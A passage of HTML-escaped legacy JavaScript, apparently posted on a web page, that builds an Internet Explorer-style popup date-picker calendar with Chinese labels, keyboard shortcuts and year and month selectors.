bold;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;td#meizzYearHead, td#meizzYearMonth{color: &amp;quot;+ WebCalendar.wordColor +&amp;quot;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;.out { text-align: center; border-top: 1px solid &amp;quot;+ WebCalendar.DarkBorder +&amp;quot;; border-left: 1px solid &amp;quot;+ WebCalendar.DarkBorder +&amp;quot;;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;border-right: 1px solid &amp;quot;+ WebCalendar.lightColor +&amp;quot;; border-bottom: 1px solid &amp;quot;+ WebCalendar.lightColor +&amp;quot;;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;.over{ text-align: center; border-top: 1px solid #FFFFFF; border-left: 1px solid #FFFFFF;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;border-bottom: 1px solid &amp;quot;+ WebCalendar.DarkBorder +&amp;quot;; border-right: 1px solid &amp;quot;+ WebCalendar.DarkBorder +&amp;quot;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;input{ border: 1px solid &amp;quot;+ WebCalendar.darkColor +&amp;quot;; padding-top: 1px; height: 18; cursor: hand;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  color:&amp;quot;+ WebCalendar.wordColor +&amp;quot;; background-color: &amp;quot;+ WebCalendar.btnBgColor +&amp;quot;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body onselectstart='return false' style='margin: 0px' oncontextmenu='return false'&amp;gt;&amp;lt;form name=meizz&amp;gt;&amp;quot;;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.drag){ strIframe += &amp;quot;&amp;lt;scr&amp;quot;+&amp;quot;ipt language=javascript&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;var drag=false, cx=0, cy=0, o = parent.WebCalendar.calendar; function document.onmousemove(){&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;if(parent.WebCalendar.drag &amp;amp;&amp;amp; drag){if(o.style.left=='')o.style.left=0; if(o.style.top=='')o.style.top=0;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;o.style.left = parseInt(o.style.left) + window.event.clientX-cx;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;o.style.top&amp;nbsp;&amp;nbsp;  = parseInt(o.style.top)&amp;nbsp;&amp;nbsp;  + window.event.clientY-cy;}}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;function document.onkeydown(){ switch(window.event.keyCode){&amp;nbsp;&amp;nbsp;  case 27 : parent.hiddenCalendar(); break;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;case 37 : parent.prevM(); break; case 38 : parent.prevY(); break; case 39 : parent.nextM(); break; case 40 : parent.nextY(); break;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;case 84 : document.forms[0].today.click(); break;} window.event.keyCode = 0; window.event.returnValue= false;}&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;function dragStart(){cx=window.event.clientX; cy=window.event.clientY; drag=true;}&amp;lt;/scr&amp;quot;+&amp;quot;ipt&amp;gt;&amp;quot;}&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;table id=tableMain class=bg border=0 cellspacing=2 cellpadding=0&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;tr&amp;gt;&amp;lt;td width='&amp;quot;+ cal_Width +&amp;quot;' height=19 bgcolor='&amp;quot;+ WebCalendar.lightColor +&amp;quot;'&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;table width='&amp;quot;+ cal_Width +&amp;quot;' id=tableHead border=0 cellspacing=1 cellpadding=0&amp;gt;&amp;lt;tr align=center&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;td width='10%' height=19 class=bg title='向前翻 1 月&amp;amp;#13;快捷键：←' style='cursor: hand' onclick='parent.prevM()'&amp;gt;&amp;lt;b&amp;gt;&amp;amp;lt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;td width='45%' id=meizzYearHead &amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onmouseover='this.bgColor=parent.WebCalendar.darkColor; this.style.color=parent.WebCalendar.lightColor'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onmouseout='this.bgColor=parent.WebCalendar.lightColor; this.style.color=parent.WebCalendar.wordColor'&amp;gt;&amp;quot; + &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;select name=tmpYearSelect&amp;nbsp;&amp;nbsp;  onblur='parent.hiddenSelect(this)' style='width:100%;'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onchange='parent.WebCalendar.thisYear =this.value; parent.hiddenSelect(this); parent.writeCalendar();'&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var yearNow = new Date().getFullYear();&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  yearNow = (yearNow &amp;lt;= 1000)? 1000 : ((yearNow &amp;gt;= 9999)? 9999 : yearNow);&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var yearMin = (yearNow - WebCalendar.yearFall &amp;gt;= 1000) ? yearNow - WebCalendar.yearFall : 1000;&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var yearMax = (yearNow + WebCalendar.yearFall &amp;lt;= 9999) ? yearNow + WebCalendar.yearFall : 9999;&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  yearMin = (yearMax == 9999) ? yearMax-WebCalendar.yearFall*2 : yearMin;&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  yearMax = (yearMin == 1000) ? yearMin+WebCalendar.yearFall*2 : yearMax;&lt;br&gt;//&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for (var i=yearMin; i&amp;lt;=yearMax; i++) strIframe += &amp;quot;&amp;lt;option value='&amp;quot;+i+&amp;quot;'&amp;gt;&amp;quot;+i+&amp;quot;年&amp;lt;/option&amp;gt;&amp;quot;;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += WebCalendar.yearOption + &amp;quot;&amp;lt;/select&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;td width='35%' id=meizzYearMonth &amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onmouseover='this.bgColor=parent.WebCalendar.darkColor; this.style.color=parent.WebCalendar.lightColor'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onmouseout='this.bgColor=parent.WebCalendar.lightColor; this.style.color=parent.WebCalendar.wordColor'&amp;gt;&amp;quot; +&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;select name=tmpMonthSelect onblur='parent.hiddenSelect(this)' style='width:100%;'&amp;quot; +&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onchange='parent.WebCalendar.thisMonth=this.value; parent.hiddenSelect(this); parent.writeCalendar();'&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for (var i=1; i&amp;lt;13; i++) strIframe += &amp;quot;&amp;lt;option value='&amp;quot;+i+&amp;quot;'&amp;gt;&amp;quot;+i+&amp;quot;月&amp;lt;/option&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;/select&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;td width='10%' class=bg title='向后翻 1 月&amp;amp;#13;快捷键：→' onclick='parent.nextM()' style='cursor: hand'&amp;gt;&amp;lt;b&amp;gt;&amp;amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td height=20&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;table id=tableWeek border=1 width='&amp;quot;+ cal_Width +&amp;quot;' cellpadding=0 cellspacing=0 &amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if(WebCalendar.drag){strIframe += &amp;quot;onmousedown='dragStart()' onmouseup='drag=false' onmouseout='drag=false'&amp;quot;;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot; borderColorLight='&amp;quot;+ WebCalendar.darkColor +&amp;quot;' borderColorDark='&amp;quot;+ WebCalendar.lightColor +&amp;quot;'&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;tr align=center&amp;gt;&amp;lt;td height=20&amp;gt;日&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;一&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;二&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;三&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;四&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;五&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;六&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td valign=top width='&amp;quot;+ cal_Width +&amp;quot;' bgcolor='&amp;quot;+ WebCalendar.lightColor +&amp;quot;'&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;table id=tableDay height=120 width='&amp;quot;+ cal_Width +&amp;quot;' border=0 cellspacing=1 cellpadding=0&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var x=0; x&amp;lt;5; x++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var y=0; y&amp;lt;7; y++)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;td class=out id='meizzDay&amp;quot;+ (x*7+y) +&amp;quot;'&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;tr&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var x=35; x&amp;lt;WebCalendar.dayShow; x++)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe += &amp;quot;&amp;lt;td class=out id='meizzDay&amp;quot;+ x +&amp;quot;'&amp;gt;&amp;lt;/td&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  strIframe +=&amp;quot;&amp;lt;td colspan=&amp;quot;+(42-WebCalendar.dayShow).toString()+&amp;quot; class=out style='text-align:center;' title='&amp;quot;+ WebCalendar.regInfo +&amp;quot;'&amp;gt;&amp;quot; + &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;input style=' background-color: &amp;quot; + WebCalendar.btnBgColor +&amp;quot;;cursor: hand; padding-top: 2px; width: 44%; height: 100%;' onfocus='this.blur()'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot; type=button value='清空' onclick='parent.WebCalendar.objExport.value=\&amp;quot;\&amp;quot;;parent.hiddenCalendar()'&amp;gt;&amp;quot; + &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;amp;nbsp;&amp;quot; + &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;input style=' background-color: &amp;quot; + WebCalendar.btnBgColor +&amp;quot;;cursor: hand; padding-top: 2px; width: 43%; height: 100%;' onfocus='this.blur()'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot; type=button value='关闭' onclick='parent.hiddenCalendar()'&amp;gt;&amp;quot; + &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td height=20 width='&amp;quot;+ cal_Width +&amp;quot;' bgcolor='&amp;quot;+ WebCalendar.lightColor +&amp;quot;'&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;table border=0 cellpadding=1 cellspacing=0 width='&amp;quot;+ cal_Width +&amp;quot;'&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input name=prevYear title='向前翻 1 年&amp;amp;#13;快捷键：↑' onclick='parent.prevY()' type=button value='&amp;amp;lt;&amp;amp;lt;'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onfocus='this.blur()' style='meizz:expression(this.disabled=parent.WebCalendar.thisYear==1000)'&amp;gt;&amp;lt;input&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onfocus='this.blur()' name=prevMonth title='向前翻 1 月&amp;amp;#13;快捷键：←' onclick='parent.prevM()' type=button value='&amp;amp;lt;&amp;amp;nbsp;'&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/td&amp;gt;&amp;lt;td align=center&amp;gt;&amp;lt;input name=today type=button value='Today' onfocus='this.blur()' style='width: 50' title='当前日期&amp;amp;#13;快捷键：T'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onclick=\&amp;quot;parent.returnDate(new Date().getDate() +'/'+ (new Date().getMonth() +1) +'/'+ new Date().getFullYear())\&amp;quot;&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;lt;/td&amp;gt;&amp;lt;td align=right&amp;gt;&amp;lt;input title='向后翻 1 月&amp;amp;#13;快捷键：→' name=nextMonth onclick='parent.nextM()' type=button value='&amp;amp;nbsp;&amp;amp;gt;'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onfocus='this.blur()'&amp;gt;&amp;lt;input name=nextYear title='向后翻 1 年&amp;amp;#13;快捷键：↓' onclick='parent.nextY()' type=button value='&amp;amp;gt;&amp;amp;gt;'&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  onfocus='this.blur()' style='meizz:expression(this.disabled=parent.WebCalendar.thisYear==9999)'&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;+&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;table&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  with(WebCalendar.iframe)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  document.writeln(strIframe); document.close();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(var i=0; i&amp;lt;WebCalendar.dayShow; i++)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i] = eval(&amp;quot;meizzDay&amp;quot;+ i);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].onmouseover = dayMouseOver;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].onmouseout&amp;nbsp;&amp;nbsp;  = dayMouseOut;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dayObj[i].onclick&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  = returnDate;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;}&lt;/p&gt;&lt;p&gt;function calendar() //主调函数&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var e = window.event.srcElement;&amp;nbsp;&amp;nbsp;&amp;nbsp;  writeIframe();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var o = WebCalendar.calendar.style; WebCalendar.eventSrc = e;&lt;br&gt;if (arguments.length == 0) WebCalendar.objExport = e;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  else WebCalendar.objExport = eval(arguments[0]);&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.iframe.tableWeek.style.cursor = WebCalendar.drag ? &amp;quot;move&amp;quot; : &amp;quot;default&amp;quot;;&lt;br&gt;var t = e.offsetTop,&amp;nbsp;&amp;nbsp;  h = e.clientHeight, l = e.offsetLeft, p = e.type;&lt;br&gt;while (e = e.offsetParent){t += e.offsetTop; l += e.offsetLeft;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  o.display = &amp;quot;&amp;quot;; WebCalendar.iframe.document.body.focus();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var cw = WebCalendar.calendar.clientWidth, ch = WebCalendar.calendar.clientHeight;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  var dw = document.body.clientWidth, dl = document.body.scrollLeft, dt = document.body.scrollTop;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (document.body.clientHeight + dt - t - h &amp;gt;= ch) o.top = (p==&amp;quot;image&amp;quot;)? t + h : t + h + 6;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  else o.top&amp;nbsp;&amp;nbsp;  = (t - dt &amp;lt; ch) ? ((p==&amp;quot;image&amp;quot;)? t + h : t + h + 6) : t - ch;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (dw + dl - l &amp;gt;= cw) o.left = l; else o.left = (dw &amp;gt;= cw) ? dw - cw + dl : dl;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if&amp;nbsp;&amp;nbsp;  (!WebCalendar.timeShow) WebCalendar.dateReg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  else WebCalendar.dateReg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  try{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.objExport.value.trim() != &amp;quot;&amp;quot;){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  WebCalendar.dateStyle = WebCalendar.objExport.value.trim().match(WebCalendar.dateReg);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (WebCalendar.dateStyle == 